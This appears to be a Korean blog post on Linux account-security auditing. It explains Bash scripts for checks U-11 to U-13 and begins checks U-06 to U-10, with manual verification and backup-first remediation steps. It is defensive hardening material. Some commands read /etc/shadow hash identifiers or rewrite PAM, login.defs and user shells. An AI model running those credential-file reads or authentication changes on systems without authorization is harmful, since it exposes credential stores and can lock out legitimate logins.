# [상세 해설] 추출된 계정 목록을 관리자에게 출력하여 불필요한 계정이 포함되어 있는지 수동 검토 유도
INFO "대화형 쉘이 부여된 일반 계정 중 불필요한 계정이 있는지 수동 확인 바랍니다." "로그인 가능한 일반 계정 목록: [ ${INTERACTIVE_USERS:-없음} ]"

# [상세 해설] U-11 진단 종료
FINISH "[ U-11 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

핵심은 다음 awk 조건이다.

$7 !~ /(nologin|false|sync)/ && $3 >= 1000 && $1 != "nobody"

/etc/passwd는 일반적으로 다음과 같은 7개 필드 구조를 사용한다.

계정명:x:UID:GID:설명:홈디렉터리:로그인쉘

따라서 스크립트는 다음과 같이 동작한다.

조건	의미
$7 !~ /(nologin\|false\|sync)/	로그인 Shell이 제한된 Shell이 아닌 계정
$3 >= 1000	UID 1000 이상인 일반 계정
$1 != "nobody"	nobody 계정 제외

최종적으로 조건에 맞는 계정명을 INTERACTIVE_USERS 변수에 저장하고 INFO 메시지로 출력한다.

따라서 U-11은 자동으로 [양호] 또는 [취약]을 판정하는 방식이 아니다.

스크립트가 출력한 계정 목록을 확인하고 해당 계정의 실제 사용 목적을 판단해야 한다.

④ 수동 점검

대화형 Shell을 사용하는 일반 계정을 확인하려면 다음과 같이 점검할 수 있다.

awk -F: '$7 !~ /(nologin|false|sync)/ && $3 >= 1000 && $1 != "nobody" {print $1, $7}' /etc/passwd

특정 계정의 Shell만 확인하려면 다음 명령을 사용할 수 있다.

grep "^사용자계정명:" /etc/passwd

확인된 계정이 실제 사용자 계정인지, 배치·배포·애플리케이션 운영에 필요한 계정인지 확인해야 한다.

⑤ 보안실무 적용 시 주의사항

서비스 계정의 Shell을 임의로 변경하지 않는다

Nginx, Tomcat, MySQL 등 애플리케이션 실행에 사용하는 계정이라고 해서 무조건 Shell을 차단하면 안 된다.

일부 환경에서는 다음과 같이 계정으로 전환하여 명령을 실행하는 방식이 사용될 수 있다.

su - 계정명 -c "command"

이러한 구성에서 해당 계정의 Shell을 변경하면 기존 기동 또는 배치 작업에 영향을 줄 수 있다.

따라서 변경 전에 해당 계정이 어떤 프로세스와 서비스에서 사용되는지 확인해야 한다.

배포·CI/CD 계정은 별도 검토한다

Jenkins, GitLab Runner, Ansible 등의 배포 계정은 자동화 작업을 위해 Shell 접근이 필요한 환경이 있을 수 있다.

이 경우 단순히 /sbin/nologin으로 변경하기보다는 실제 접속 목적과 인증 방식을 확인하고 접근통제 정책을 별도로 적용해야 한다.

⑥ 안전한 조치 절차

먼저 /etc/passwd를 백업한다.

cp -p /etc/passwd /etc/passwd_backup_$(date +%Y%m%d)

불필요한 대화형 로그인이 확인된 계정의 Shell을 변경한다.

usermod -s /sbin/nologin 사용자계정명

변경 결과를 확인한다.

grep "^사용자계정명:" /etc/passwd

예를 들어 다음과 같이 변경되었다면 해당 계정의 기본 로그인 Shell이 제한된 상태다.

user01:x:1001:1001::/home/user01:/sbin/nologin

2.2 [U-12] 세션 종료 시간 설정

① 점검 목적 및 개요

사용자가 로그인한 터미널을 장시간 방치하면 다른 사람이 해당 세션을 이용할 가능성이 있다.

TMOUT 환경변수는 일정 시간 동안 입력이 없는 Shell 세션을 자동으로 종료하기 위한 설정이다.

현재 자동 진단 스크립트에서는 /etc/profile에 설정된 TMOUT 값을 확인하고 600초 이하인지 여부를 기준으로 판정한다.

② 자동 진단 스크립트

# [상세 해설] U-12 진단 코드 시작 식별자 선언
CODE "[ U-12 ] 세션 종료 시간 설정"

# [상세 해설] /etc/profile 파일에서 주석을 제외한 TMOUT 설정 라인을 추출하고,
# [상세 해설] 공백과 따옴표를 제거하여 순수 초(second) 단위 값만 획득
TMOUT_VAL=$(grep -E "^[[:space:]]*(export[[:space:]]+)?TMOUT=" /etc/profile | tail -n 1 | cut -d= -f2 | tr -d '"; ')

# [상세 해설] TMOUT 변수 값이 존재하는지 검증
if [ -n "$TMOUT_VAL" ]; then

    # [상세 해설] TMOUT 설정값이 600초(10분) 이하인지 수치 비교 수행
    if [ "$TMOUT_VAL" -le 600 ]; then
        OK "세션 타임아웃(TMOUT)이 기준에 맞게 설정되어 있습니다." "/etc/profile 내 TMOUT 값이 ${TMOUT_VAL}초로 설정됨."
    else
        WARN "세션 타임아웃이 가이드 기준(600초)을 초과합니다." "/etc/profile 내 TMOUT 값이 ${TMOUT_VAL}초로 초과 설정됨."
    fi

else
    # [상세 해설] TMOUT 설정이 없거나 주석 처리된 경우 취약으로 판정
    WARN "세션 타임아웃(TMOUT) 설정이 적용되지 않았습니다." "/etc/profile에 TMOUT 지시어가 없거나 주석 처리됨."
fi

# [상세 해설] U-12 진단 종료
FINISH "[ U-12 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

먼저 /etc/profile에서 다음과 같은 형식의 설정을 찾는다.

TMOUT=600

또는

export TMOUT=600

tail -n 1을 사용하기 때문에 여러 개의 TMOUT 설정이 존재하면 마지막으로 검색된 설정값을 사용한다.

그 후 다음 조건으로 판정한다.

[ "$TMOUT_VAL" -le 600 ]

따라서 현재 스크립트 기준은 다음과 같다.

/etc/profile TMOUT 상태	스크립트 결과
TMOUT=600	OK
TMOUT=300	OK
TMOUT=601	WARN
TMOUT=900	WARN
설정 없음	WARN

중요한 점은 현재 스크립트가 /etc/profile만 검사한다는 것이다.

따라서 /etc/profile.d/*.sh 등에 실제 TMOUT 설정이 존재하더라도 현재 스크립트에서는 이를 확인하지 않는다.

④ 수동 점검

현재 스크립트와 동일한 범위에서 확인하려면 다음과 같이 점검한다.

grep -E "^[[:space:]]*(export[[:space:]]+)?TMOUT=" /etc/profile

현재 로그인 세션에 실제 적용된 값은 다음과 같이 확인할 수 있다.

echo $TMOUT

⑤ 보안실무 적용 시 주의사항

장시간 작업 중 세션 종료에 주의

운영 서버에서 다음과 같은 작업을 대화형 SSH 세션에서 직접 실행하는 경우 TMOUT 설정에 의해 세션이 종료될 수 있다.

대용량 파일 전송
데이터베이스 마이그레이션
장시간 백업
대규모 로그 처리
장시간 컴파일 작업

장시간 실행되는 작업은 운영 환경에 맞게 nohup, screen, tmux 또는 서비스·배치 형태로 실행하는 것이 안전하다.

SSH 연결 유지 설정과 구분

TMOUT은 Shell 레벨의 유휴 세션 제어이고 SSH의 ClientAliveInterval, ClientAliveCountMax와는 목적과 동작 방식이 다르다.

따라서 SSH 연결 유지 정책을 함께 사용하는 환경에서는 두 설정을 별도로 확인해야 한다.

⑥ 안전한 조치 절차

먼저 /etc/profile을 백업한다.

cp -p /etc/profile /etc/profile_backup_$(date +%Y%m%d)

이후 세션 타임아웃을 설정한다.

cat << 'EOF' >> /etc/profile

# 세션 자동 종료 설정 (600초 = 10분)
export TMOUT=600
readonly TMOUT
EOF

새로운 Shell 세션에서 적용 여부를 확인한다.

echo $TMOUT

정상적으로 적용되었다면 다음과 같이 확인된다.

기존 로그인 세션은 이미 로드된 환경변수를 사용하고 있을 수 있으므로 새 세션에서 결과를 확인하는 것이 필요하다.

2.3 [U-13] 안전한 비밀번호 암호화 알고리즘 사용

① 점검 목적 및 개요

비밀번호는 평문으로 저장하지 않고 단방향 암호화 방식으로 변환하여 저장해야 한다.

현재 U-13 스크립트에서는 비밀번호 암호화 알고리즘으로 SHA-512 또는 YESCRYPT가 설정되어 있는지를 확인한다.

자동 진단은 다음 순서로 진행된다.

/etc/login.defs의 ENCRYPT_METHOD 확인
SHA512 또는 YESCRYPT이면 양호
해당 설정을 찾지 못하면 PAM 설정 파일 확인
sha512 또는 yescrypt 문자열이 확인되면 양호
둘 모두 확인되지 않으면 취약

② 자동 진단 스크립트

# [상세 해설] U-13 진단 코드 시작 식별자 선언
CODE "[ U-13 ] 안전한 비밀번호 암호화 알고리즘 사용 (2026 신규/강화)"

# [상세 해설] 알고리즘 안전성 판별을 위한 플래그 및 사유 변수 초기화
IS_SECURE_ALGO="FALSE"
REASON_ALGO=""

# [상세 해설] /etc/login.defs 파일 내 기본 암호화 지시어(ENCRYPT_METHOD) 확인
if [ -f /etc/login.defs ]; then
    ALGO=$(grep -i -E "^[[:space:]]*ENCRYPT_METHOD" /etc/login.defs | awk '{print $2}')

    # [상세 해설] 추출된 알고리즘이 SHA512 또는 YESCRYPT인지 비교
    if [[ "$ALGO" == "SHA512" || "$ALGO" == "YESCRYPT" ]]; then
        IS_SECURE_ALGO="TRUE"
        REASON_ALGO="/etc/login.defs 에 안전한 알고리즘($ALGO)이 설정됨."
    fi
fi

# [상세 해설] login.defs에서 미확인 시 PAM 인증 모듈 설정 파일 점검
if [[ "$IS_SECURE_ALGO" == "FALSE" ]]; then
    if grep -E -q "sha512|yescrypt" /etc/pam.d/system-auth /etc/pam.d/common-password 2>/dev/null; then
        IS_SECURE_ALGO="TRUE"
        REASON_ALGO="PAM 인증 파일(system-auth 등)에 sha512 또는 yescrypt 모듈이 적용됨."
    else
        REASON_ALGO="/etc/login.defs 및 PAM 파일에 안전한 암호화 지시어가 없음."
    fi
fi

# [상세 해설] 판정 결과 출력
if [[ "$IS_SECURE_ALGO" == "TRUE" ]]; then
    OK "안전한 패스워드 암호화 알고리즘이 시스템에 적용되어 있습니다." "$REASON_ALGO"
else
    WARN "안전하지 않은 패스워드 알고리즘(MD5 등)을 사용 중이거나 설정 누락 상태입니다." "$REASON_ALGO"
fi

# [상세 해설] U-13 진단 종료
FINISH "[ U-13 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

먼저 /etc/login.defs에서 다음 설정을 찾는다.

ENCRYPT_METHOD SHA512

또는

ENCRYPT_METHOD YESCRYPT

둘 중 하나가 확인되면 IS_SECURE_ALGO를 TRUE로 변경한다.

만약 login.defs에서 확인되지 않으면 다음 PAM 파일을 검색한다.

/etc/pam.d/system-auth
/etc/pam.d/common-password

그리고 다음 문자열이 포함되어 있는지 검사한다.

sha512
yescrypt

따라서 현재 스크립트의 판정 구조는 다음과 같다.

검사 위치	확인 내용	결과
/etc/login.defs	ENCRYPT_METHOD SHA512	TRUE
/etc/login.defs	ENCRYPT_METHOD YESCRYPT	TRUE
PAM 설정	sha512 문자열 존재	TRUE
PAM 설정	yescrypt 문자열 존재	TRUE
어느 곳에서도 확인되지 않음	안전한 알고리즘 설정 미확인	WARN

여기서 중요한 점은 U-13 스크립트가 실제 /etc/shadow의 모든 비밀번호 해시를 직접 분석하는 것은 아니라는 것이다.

즉, 설정 파일에 안전한 알고리즘이 지정되어 있는지를 우선 확인하는 방식이다.

④ 수동 점검

grep -i -E "^[[:space:]]*ENCRYPT_METHOD" /etc/login.defs

PAM 설정을 확인한다.

grep -E "sha512|yescrypt" /etc/pam.d/system-auth /etc/pam.d/common-password 2>/dev/null

실제 /etc/shadow에 저장된 해시의 식별자를 확인할 수도 있다.

awk -F: '$2 ~ /^\$6\$/ || $2 ~ /^\$y\$/ {print $1}' /etc/shadow

여기서 $6$와 $y$는 현재 개선 스니펫에서 실제 저장된 해시를 확인하기 위해 사용하는 식별자다.

⑤ 보안실무 적용 시 주의사항

기존 비밀번호가 자동으로 변경되는 것은 아니다

/etc/login.defs 또는 PAM 설정을 변경하더라도 이미 /etc/shadow에 저장되어 있는 기존 비밀번호 해시가 즉시 새로운 알고리즘으로 변환되는 것은 아니다.

따라서 설정 변경 이후 실제 비밀번호 변경이 필요한 환경에서는 대상 계정의 비밀번호 변경 정책과 적용 시점을 별도로 관리해야 한다.

PAM 설정 변경은 특히 주의한다

PAM 설정 파일의 문법이나 모듈 순서를 잘못 변경하면 사용자 인증이나 sudo 등에 영향을 줄 수 있다.

따라서 운영 서버에서는 작업 전에 현재 설정을 백업하고, 별도의 root 세션을 유지한 상태에서 변경하는 것이 안전하다.

RHEL 계열에서 authselect를 사용하는 환경이라면 현재 시스템의 인증 프로파일과 관리 방식을 먼저 확인한 후 적용해야 한다.

⑥ 안전한 조치 절차

먼저 설정 파일을 백업한다.

cp -p /etc/login.defs /etc/login.defs_backup_$(date +%Y%m%d)

ENCRYPT_METHOD 설정이 존재하는 경우 SHA512로 변경한다.

if grep -q "^ENCRYPT_METHOD" /etc/login.defs; then
    sed -i 's/^ENCRYPT_METHOD.*/ENCRYPT_METHOD SHA512/' /etc/login.defs
else
    echo "ENCRYPT_METHOD SHA512" >> /etc/login.defs
fi

변경 결과를 확인한다.

grep -i -E "^[[:space:]]*ENCRYPT_METHOD" /etc/login.defs

다만 PAM 설정은 배포판과 인증 구성에 따라 관리 방식이 다르므로, 해당 환경의 표준 관리 도구와 현재 인증 구성을 확인한 후 적용해야 한다.

3. 자동 진단 스크립트의 한계 및 예외 처리

현재 스크립트는 실무 환경에서 빠르게 점검할 수 있도록 구성되어 있지만, 최신 Linux의 모듈형 설정 구조를 모두 추적하는 것은 아니다.

3.1 U-11의 한계

U-11은 /etc/passwd의 로컬 계정 정보를 기준으로 검사한다.

따라서 LDAP, AD, NIS 등 외부 인증 시스템에서 제공하는 계정은 현재 스크립트의 검사 대상에 포함되지 않는다.

또한 대화형 Shell을 사용하는 계정이라고 해서 반드시 불필요한 계정인 것은 아니므로, 출력된 계정 목록에 대한 업무상 필요성 확인이 필요하다.

3.2 U-12의 한계

현재 U-12 스크립트는 다음 파일만 검사한다.

/etc/profile

따라서 다음과 같은 위치에 실제 TMOUT 설정이 존재하는 경우 현재 스크립트에서는 확인하지 못할 수 있다.

/etc/profile.d/*.sh

예를 들어 /etc/profile.d/session.sh에 다음 설정이 존재하더라도 현재 U-12 스크립트는 이를 직접 검사하지 않는다.

export TMOUT=600

따라서 최신 시스템에서는 /etc/profile뿐 아니라 실제 Shell 초기화 과정에서 적용되는 설정까지 확인할 필요가 있다.

3.3 U-13의 한계

U-13 역시 모든 PAM Include 구조를 재귀적으로 분석하지 않는다.

예를 들어 PAM 설정에서 다른 파일을 include 또는 substack 방식으로 호출하는 경우 현재 스크립트가 직접 검색하는 파일에 sha512 또는 yescrypt 문자열이 없으면 실제 적용 상태와 스크립트 결과가 다를 가능성이 있다.

또한 /etc/login.defs의 설정만 확인하는 것과 실제 /etc/shadow에 저장된 각 계정의 해시 알고리즘을 확인하는 것은 서로 다른 검사다.

따라서 U-13 결과를 보다 정확하게 검증하려면 설정값 확인과 실제 저장 해시 확인을 구분하여 수행하는 것이 필요하다.

4. 최신 Linux 환경을 고려한 개선 검사 예시

4.1 U-12 TMOUT 설정 범위 확대

현재 /etc/profile만 검사하는 방식에서 /etc/profile.d/*.sh까지 검사 범위를 확대할 수 있다.

# /etc/profile 및 /etc/profile.d/ 내 TMOUT 설정 확인
TMOUT_VAL=$(grep -h -E "^[[:space:]]*(export[[:space:]]+)?TMOUT=[0-9]+" \
    /etc/profile /etc/profile.d/*.sh 2>/dev/null |
    tail -n 1 |
    cut -d= -f2 |
    tr -d '"; ')

이 방식은 현재 U-12 기본 스크립트와 달리 profile.d에 분리된 설정까지 검색한다.

4.2 U-13 실제 저장 해시 확인

설정 파일의 알고리즘 지정 여부와 별도로 /etc/shadow에 저장된 해시 식별자를 직접 확인할 수 있다.

SHADOW_HASH_CHECK=$(awk -F: \
    '$2 ~ /^\$6\$/ || $2 ~ /^\$y\$/ {print $1}' \
    /etc/shadow | wc -l)

계정별 실제 해시 식별자를 확인하려면 다음과 같이 점검할 수 있다.

awk -F: '
$2 ~ /^\$6\$/ {print $1 " : SHA-512"}
$2 ~ /^\$y\$/ {print $1 " : YESCRYPT"}
' /etc/shadow

이 검사는 설정 파일에 지정된 기본 알고리즘과 현재 계정에 실제 저장된 해시 알고리즘을 구분하여 확인할 수 있다는 점에서 의미가 있다.

5. U-11~U-13 자동화 스크립트 판정 기준 정리

항목	자동화 스크립트의 핵심 검사	자동 판정	추가 확인
U-11	UID 1000 이상 계정의 대화형 Shell 추출	INFO	계정 사용 목적
U-12	/etc/profile의 TMOUT ≤ 600	OK/WARN	profile.d 및 실제 세션 적용 여부
U-13	SHA512/YESCRYPT 설정 확인	OK/WARN	PAM Include 구조 및 실제 /etc/shadow 해시

이번 U-11~U-13에서 특히 중요한 부분은 자동화 스크립트가 모든 보안 상태를 완전히 판정하는 것이 아니라는 점이다.

U-11은 계정 목록을 출력하고 관리자가 필요성을 판단하는 구조이며, U-12와 U-13은 특정 설정 파일과 문자열을 기준으로 자동 판정한다.

따라서 자동화 점검 결과는 1차 진단 자료로 활용하고, 실제 운영 환경에서는 설정 적용 경로와 계정 사용 목적까지 함께 확인하는 것이 필요하다.

6. 자동화 스크립트를 활용한 점검 순서

실제 서버 점검에서는 다음 순서로 진행하면 된다.

① 자동 진단 스크립트 실행

U-11~U-13의 결과를 먼저 확인한다.

[ U-11 ] 사용자 Shell 점검
[ U-12 ] 세션 종료 시간 설정
[ U-13 ] 안전한 비밀번호 암호화 알고리즘 사용

② 자동 진단 결과의 원본 설정 확인

U-11은 /etc/passwd, U-12는 /etc/profile, U-13은 /etc/login.defs와 PAM 설정을 확인한다.

③ 운영 영향도 확인

특히 다음 항목은 설정 변경 전에 실제 사용 여부를 확인한다.

서비스 계정
배치 계정
배포 계정
장시간 실행 작업
PAM 인증 구성
기존 사용자 비밀번호

④ 설정 파일 백업

설정 변경 전 원본 파일을 별도로 백업한다.

⑤ 변경 후 재점검

설정 변경이 완료되면 동일한 자동 진단 스크립트를 다시 실행하여 변경 결과를 확인한다.

⑥ 서비스 및 로그인 정상 여부 확인

보안 설정이 정상적으로 변경되었더라도 실제 사용자 로그인, sudo, 애플리케이션 서비스 및 배치 작업이 정상적으로 동작하는지 확인한다.

주의사항
본 포스팅의 스크립트 및 조치 방법은 Linux 시스템의 계정 관리 및 인증 보안점검과 보안 강화를 목적으로 작성되었다. Linux 배포판, 버전, 설치된 서비스 및 인증 구성에 따라 설정 파일과 적용 방식이 다를 수 있다.
특히 사용자 로그인 Shell, TMOUT, PAM 및 비밀번호 암호화 관련 설정을 변경하면 정상적인 로그인이나 장시간 실행 작업, 서비스 인증에 영향을 줄 수 있으므로 운영 서버에 적용하기 전에 반드시 테스트 환경에서 검증한 후 적용해야 한다.
계정의 Shell을 변경하기 전에는 해당 계정이 서비스, 배치 또는 배포 작업에서 사용되고 있는지 확인해야 한다. 또한 PAM 및 비밀번호 인증 설정을 변경할 경우 현재 인증 구성과 백업 상태를 확인한 후 적용하는 것이 필요하다.
스크립트 실행 및 설정 변경으로 인해 발생하는 시스템 장애에 대해서는 사용 환경에 맞는 사전 검증이 필요하다.

함께 보면 좋은 글

Linux 보안취약점 점검 자동화 스크립트 공통 함수 및 환경 설정

Linux 보안취약점 점검 스크립트를 여러 항목에서 공통으로 사용하기 위한 함수와 환경 설정에 대한 내용은 별도의 글에서 확인할 수 있다.

자동화 스크립트 공통 함수 및 환경 설정

Linux 서버 계정 관리 보안점검 U-06~U-10 | Bash 자동화 스크립트 포함

보안실무자J — Fri, 4 Sep 2026 15:30:16 +0900

리눅스 서버의 계정 및 권한 관리 보안과 관련된 핵심 취약점 항목(U-06 ~ U-10)을 대상으로 자동 진단 스크립트의 동작 원리와 판정 기준, 수동 검증 방법 및 안전한 조치 절차를 정리한다. 사용자 계정의 su 기능 제한부터 불필요한 시스템 계정, 관리자 그룹, 고아 GID, 중복 UID까지 실제 서버에서 확인해야 하는 항목을 자동화 스크립트와 함께 설명한다.

1. 계정 및 권한 관리 보안 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	스크립트 기준 양호 판단	위험도
U-06	사용자 계정 su 기능 제한	/etc/pam.d/su, /etc/group	/etc/pam.d/su에 주석 처리되지 않은 pam_wheel.so 설정이 존재하는 경우	상
U-07	불필요한 계정 제거	/etc/passwd	스크립트에 지정된 주요 시스템 계정에 로그인 가능한 쉘이 존재하지 않는 경우	상
U-08	관리자 그룹에 최소한의 계정 포함	/etc/group	관리자 그룹 구성원을 자동 판정하지 않고 목록을 출력하여 업무상 필요성을 수동 검토	중
U-09	계정이 존재하지 않는 GID 금지	/etc/passwd, /etc/group	/etc/passwd의 모든 계정 GID가 /etc/group에 존재하는 경우	하
U-10	동일한 UID 금지	/etc/passwd	/etc/passwd에 동일한 UID를 사용하는 계정이 없는 경우	중

중요: 위 표의 "판단 기준"은 일반적인 보안 설명을 그대로 옮긴 것이 아니라, 본문에 포함된 자동화 스크립트가 실제로 수행하는 조건을 기준으로 정리한 것이다. 특히 U-08은 스크립트에서 자동으로 [양호] 또는 [취약]을 판정하지 않고 관리자 그룹 구성원 목록을 출력하는 방식으로 동작한다.

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-06] 사용자 계정 su 기능 제한

① 점검 목적 및 개요

su 명령은 일반 사용자가 다른 계정으로 전환할 수 있도록 하는 기능이다. 특히 root 계정으로의 전환을 제한하지 않을 경우 인증정보 탈취나 비인가 계정 전환을 통한 관리자 권한 획득 가능성이 증가할 수 있다.

U-06 자동 점검에서는 /etc/pam.d/su 파일에 pam_wheel.so PAM 모듈이 활성화되어 있는지를 확인한다.

현재 스크립트는 pam_wheel.so 설정의 존재 여부를 기준으로 자동 판정하며, 실제로 해당 설정이 적용되는 그룹 구성원까지 자동으로 검증하지는 않는다.

② 자동 진단 스크립트 분석

# U-06 점검 시작 코드 정의
CODE "[ U-06 ] 사용자 계정 su 기능 제한"

# /etc/pam.d/su 설정 파일의 존재 유무 확인
if [ -f /etc/pam.d/su ]; then
    # pam_wheel.so 모듈 활성화 여부를 정규표현식으로 검사 (주석 제외)
    if grep -E -q "^[[:space:]]*auth[[:space:]]+required[[:space:]]+pam_wheel\.so" /etc/pam.d/su; then
        OK "su 명령어 사용이 특정 그룹으로 안전하게 제한되어 있습니다." "/etc/pam.d/su 파일 내에 pam_wheel.so 모듈이 활성화되어 있음."
    else
        WARN "su 명령어 사용 제한이 적용되지 않았습니다." "/etc/pam.d/su 파일 내에 pam_wheel.so 설정이 없거나 주석(#) 처리됨."
    fi
else
    INFO "su PAM 설정 파일이 존재하지 않습니다. 수동 점검 바랍니다." "/etc/pam.d/su 파일 없음."
fi

# U-06 점검 종료 처리
FINISH "[ U-06 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

U-06은 비교적 단순한 구조로 구성되어 있다.

/etc/pam.d/su 파일 존재 여부를 확인한다.
파일이 존재하면 pam_wheel.so 설정을 검색한다.
다음 조건을 만족하면 [양호]로 처리한다.

auth required pam_wheel.so

설정이 없거나 주석 처리되어 있으면 [취약]으로 처리한다.
/etc/pam.d/su 자체가 존재하지 않으면 [정보]를 출력하고 수동점검 대상으로 남긴다.

즉, 이 스크립트에서 U-06의 핵심 판정값은 pam_wheel.so 활성화 여부이다.

④ 수동 진단 및 설정 검증 절차

자동 진단 결과와 실제 관리자 그룹 구성을 함께 확인한다.

# PAM 모듈 설정 내 pam_wheel.so 적용 여부 확인
grep -E "pam_wheel\.so" /etc/pam.d/su

# wheel 그룹에 소속된 사용자 확인
grep "^wheel:" /etc/group

자동 스크립트는 pam_wheel.so의 존재 여부를 확인하지만, wheel 그룹에 어떤 계정이 들어가 있는지까지 자동으로 판단하지 않는다.

따라서 실제 점검에서는 다음 두 가지를 함께 확인해야 한다.

pam_wheel.so가 활성화되어 있는가?
wheel 그룹에 등록된 계정이 실제 업무상 필요한 계정인가?

⑤ 안전한 조치 및 원복 절차

# 1. 설정 파일 원본 백업
cp -p /etc/pam.d/su /etc/pam.d/su.bak_$(date +%Y%m%d)

# 2. pam_wheel.so 주석 해제 또는 추가 (wheel 그룹 제한)
sed -i 's/^#\s*\(auth\s*required\s*pam_wheel\.so\s*use_uid\)/\1/' /etc/pam.d/su

# 3. 신뢰할 수 있는 관리자 계정만 wheel 그룹에 추가
usermod -aG wheel [관리자계정]

PAM 설정은 로그인 및 권한 전환 동작에 직접 영향을 줄 수 있으므로 운영 서버에서는 변경 전 백업과 테스트가 필요하다.

2.2. [U-07] 불필요한 계정 제거

① 점검 목적 및 개요

리눅스 시스템에는 운영체제 및 서비스 동작을 위해 다양한 시스템 계정이 기본적으로 생성될 수 있다.

이러한 계정에 대화형 로그인 쉘이 설정되어 있으면 실제 사용하지 않는 계정이 외부 접근이나 내부 권한 상승의 진입점으로 악용될 가능성이 있다.

따라서 업무상 사용하지 않는 시스템 계정은 로그인 자체를 제한하는 것이 필요하다.

현재 U-07 스크립트는 /etc/passwd 전체 계정을 무조건 검사하는 방식이 아니라, 스크립트에 지정된 주요 시스템 계정 목록을 대상으로 로그인 쉘을 확인한다.

② 자동 진단 스크립트 분석

# U-07 점검 시작 코드 정의
CODE "[ U-07 ] 불필요한 계정 제거"

# 주요 기본 시스템 계정 중 대화형 쉘(/bin/bash 등)을 사용하는 계정 필터링
WEAK_SYS_ACCOUNTS=$(grep -E "^(daemon|bin|sys|adm|listen|nobody|nobody4|noaccess|diag|operator|gopher|games|ftp|apache|httpd|rfc822|uucp|nuucp):" /etc/passwd | grep -v -E "(nologin|false|sync)$" | awk -F: '{print $1}' | xargs)

# 취약 계정 목록 유무에 따른 판정
if [ -z "$WEAK_SYS_ACCOUNTS" ]; then
    OK "기본 시스템 계정들의 로그인 쉘이 안전하게 제한되어 있습니다." "시스템 계정들에 nologin, false 쉘이 부여되어 직접 로그인 불가."
else
    WARN "로그인이 가능한 상태의 불필요한 시스템 계정이 존재합니다." "로그인 가능한 쉘이 부여된 시스템 계정 발견: [ $WEAK_SYS_ACCOUNTS ]"
fi

# U-07 점검 종료 처리
FINISH "[ U-07 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

U-07은 /etc/passwd의 계정명과 마지막 필드인 로그인 쉘을 조합하여 판단한다.

스크립트에 지정된 시스템 계정 목록에 대해 다음과 같은 쉘이 설정된 계정을 탐지한다.

/bin/bash
/bin/sh
기타 로그인 가능한 쉘

반대로 다음과 같은 쉘은 로그인 제한 상태로 간주한다.

nologin
false
sync

따라서 현재 스크립트 기준으로 해당 시스템 계정에 로그인 가능한 쉘이 발견되면 [취약], 발견되지 않으면 [양호]로 처리한다.

④ 수동 진단 및 설정 검증 절차

# 시스템 계정들의 로그인 쉘 상태 확인
grep -E "^(daemon|bin|sys|adm|listen|nobody|games|ftp):" /etc/passwd

실제 운영 환경에서는 해당 계정이 정말 사용되지 않는지 서비스 구성과 함께 확인해야 한다.

특히 apache, httpd, ftp 등 서비스와 연결된 계정은 단순히 계정명만 보고 삭제하기보다 해당 서비스의 실행 계정인지 먼저 확인해야 한다.

⑤ 안전한 조치 및 원복 절차

# 1. 계정 정보 원본 백업
cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)

# 2. 불필요한 시스템 계정의 쉘을 nologin으로 변경
usermod -s /sbin/nologin daemon
usermod -s /sbin/nologin bin
usermod -s /sbin/nologin sys
usermod -s /sbin/nologin adm
usermod -s /sbin/nologin games

계정 자체를 삭제하는 것보다 서비스 영향도를 낮추기 위해 로그인 쉘을 /sbin/nologin 또는 /bin/false로 변경하는 방식을 우선적으로 검토할 수 있다.

2.3. [U-08] 관리자 그룹에 최소한의 계정 포함

① 점검 목적 및 개요

root, wheel과 같은 관리자 권한 그룹에 불필요한 계정이 포함되어 있으면 해당 계정이 필요 이상의 권한을 획득할 수 있다.

따라서 관리자 그룹에는 실제 업무 수행에 필요한 계정만 포함되도록 관리해야 한다.

다만 U-08의 현재 자동화 스크립트는 관리자 그룹 구성원이 적절한지 자동으로 판단하지 않는다.

관리자 그룹의 구성원을 추출하여 INFO로 출력하고, 해당 계정의 업무상 필요성을 관리자가 직접 검토하도록 구성되어 있다.

② 자동 진단 스크립트 분석

# U-08 점검 시작 코드 정의
CODE "[ U-08 ] 관리자 그룹에 최소한의 계정 포함"

# /etc/group 파일에서 root 및 wheel 그룹의 구성원 계정 리스트 추출
ADMIN_GROUP=$(grep -E "^(root|wheel):" /etc/group | awk -F: '{print $4}')

# 관리자 수동 검토를 유도하는 정보 출력
INFO "관리자 그룹 소속 계정의 업무상 필요성 여부를 수동으로 확인해야 합니다." "관리자 그룹(root, wheel)에 포함된 계정 목록: [ ${ADMIN_GROUP:-없음} ]"

# U-08 점검 종료 처리
FINISH "[ U-08 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

U-08의 핵심은 ADMIN_GROUP 변수이다.

ADMIN_GROUP=$(grep -E "^(root|wheel):" /etc/group | awk -F: '{print $4}')

/etc/group에서 root와 wheel 그룹의 구성원 정보를 추출한다.

이후 INFO를 통해 구성원 목록을 출력한다.

따라서 U-08은 U-06, U-07, U-09, U-10과 달리 자동으로 [양호] 또는 [취약]을 결정하지 않는다.

예를 들어 다음과 같이 출력될 수 있다.

[정보] 관리자 그룹 소속 계정의 업무상 필요성 여부를 수동으로 확인해야 합니다.
관리자 그룹(root, wheel)에 포함된 계정 목록: [ admin01 admin02 ]

이 결과를 기준으로 실제 관리자 권한이 필요한 계정인지 확인해야 한다.

④ 수동 진단 및 설정 검증 절차

# 관리자 그룹 구성원 조회
grep -E "^(root|wheel):" /etc/group

확인된 계정에 대해 다음을 검토한다.

실제 관리자 업무를 수행하는 계정인가?
해당 계정에 관리자 그룹 권한이 반드시 필요한가?
퇴직자·부서이동자·미사용 계정이 포함되어 있지 않은가?
공용 계정을 사용하고 있지 않은가?

⑤ 안전한 조치 및 원복 절차

# 1. 그룹 설정 파일 백업
cp -p /etc/group /etc/group.bak_$(date +%Y%m%d)

# 2. 관리자 그룹에서 불필요한 계정 제거 (gpasswd 활용)
gpasswd -d [불필요계정] wheel
gpasswd -d [불필요계정] root

주의: root 그룹에서 계정을 제거하는 작업은 시스템 및 애플리케이션 구성에 따라 영향도가 발생할 수 있으므로 실제 운영 환경에서는 대상 계정과 그룹 구성을 먼저 확인해야 한다.

2.4. [U-09] 계정이 존재하지 않는 GID 금지

① 점검 목적 및 개요

리눅스 계정은 /etc/passwd에 기본 그룹의 GID를 가지고 있으며, 해당 GID는 /etc/group에 정의된 그룹과 연결된다.

